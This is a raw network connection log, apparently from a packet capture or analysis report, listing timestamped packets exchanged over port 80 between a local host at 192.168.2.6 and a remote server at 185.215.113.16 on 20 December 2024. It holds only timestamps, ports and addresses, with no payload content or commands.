Dec 20, 2024 17:17:47.628133059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.628143072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.628169060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.628966093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.629057884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.629070044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.629105091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.629134893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.629911900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.630300999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.630348921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.630350113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.630362034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.630405903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.631130934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.631236076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.631247997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.631278992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.632060051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.632160902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.632173061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.632213116 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.633004904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.633090973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.633102894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.633141041 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.633989096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.634048939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.634058952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.634094954 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.634119034 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.635010004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.635129929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.635142088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.635200977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.636522055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.636604071 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.636630058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.636642933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.636678934 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.637799025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.637892962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.637904882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.637945890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.639215946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.639261961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.639354944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.639374971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.639420033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.640722990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.640748024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.640758038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.640793085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.641149044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.641185999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.641201019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.641212940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.641422033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.641460896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.641920090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.641963005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.641992092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642004013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642050028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.642172098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642636061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642647982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642671108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.642712116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642724037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.642759085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.643182993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643229961 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.643243074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643255949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643289089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.643532991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643934965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643946886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.643979073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.643999100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.644010067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.644042015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.644628048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.644671917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.644820929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.644907951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.644948959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.645015001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645026922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645060062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.645143986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645415068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645443916 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.645483971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645497084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.645541906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.645680904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646012068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646039009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646059036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646075964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.646100998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.646280050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646708965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646744967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646752119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.646758080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.646794081 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.646898031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647264004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647330046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.647351027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647363901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647377968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647403002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.647820950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647905111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.647919893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647931099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.647968054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.648128986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.648458958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.648502111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.648536921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.648550034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.648720026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.648777962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649099112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649138927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.649194956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649214029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649250031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.649441004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649947882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.649985075 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.650002003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.650015116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.650047064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.650285006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.650810003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.650846958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.650938034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.650949001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.651010990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.651207924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.651452065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.651494980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.651565075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.651576042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.651614904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.651823997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.652270079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.652309895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.652359009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.652373075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.652419090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.652829885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653191090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653238058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.653256893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653275967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653311014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.653438091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653870106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653965950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653985023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.653990984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.654031992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.654201031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.654723883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.654736042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.654788017 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.654875994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.654886961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.654916048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.655468941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.655527115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.655576944 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.655591011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.655637026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.655761957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.656259060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.656310081 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.656395912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.656408072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.656450987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.656574965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657054901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657110929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.657134056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657157898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657206059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.657377005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657843113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657881021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.657949924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.657994032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.658005953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.658027887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.658598900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.658716917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.658735037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.658754110 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.658770084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.658924103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.659396887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.659442902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.659529924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.659540892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.659575939 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.659737110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.660202980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.660254955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.660295010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.660305977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.660350084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.660593033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661103964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661153078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.661180973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661195993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661288023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.661339998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661801100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661871910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.661901951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661914110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.661950111 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.662116051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.662596941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.662723064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.662738085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.662745953 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.662776947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.662897110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.663386106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.663423061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.663480043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.663492918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.663611889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.663705111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.664182901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.664222002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.664267063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.664278984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.664319038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.664552927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.664999008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665045977 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.665076017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665086985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665122032 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.665348053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665745020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665780067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.665813923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665824890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.665854931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.666325092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667412043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667424917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667464972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.667506933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667519093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667548895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.667891026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.667929888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.667999029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.668010950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.668056011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.690644026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.690684080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.690694094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.690923929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.690944910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691008091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691020012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.691023111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691050053 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.691615105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691657066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691770077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691781998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691801071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.691811085 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.692384958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.692501068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.692512035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.692539930 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.692569017 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.692631006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693121910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693187952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.693223000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693233967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693268061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.693432093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693859100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693871021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.693892002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.693993092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.694004059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.694021940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.694711924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.694724083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.694741964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.694757938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.694802046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.694860935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.695435047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.695472002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.695547104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.695558071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.695588112 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.695815086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.696208000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.696244001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.696293116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.696305990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.696341038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.696635008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697119951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697132111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697175026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.697242975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697257042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697274923 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.697813034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697860003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.697921991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697933912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.697969913 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.698045015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.698623896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.698673964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.698679924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.698685884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.698724031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.698878050 CET	80	49809	185.215.113.16	192.168.2.6
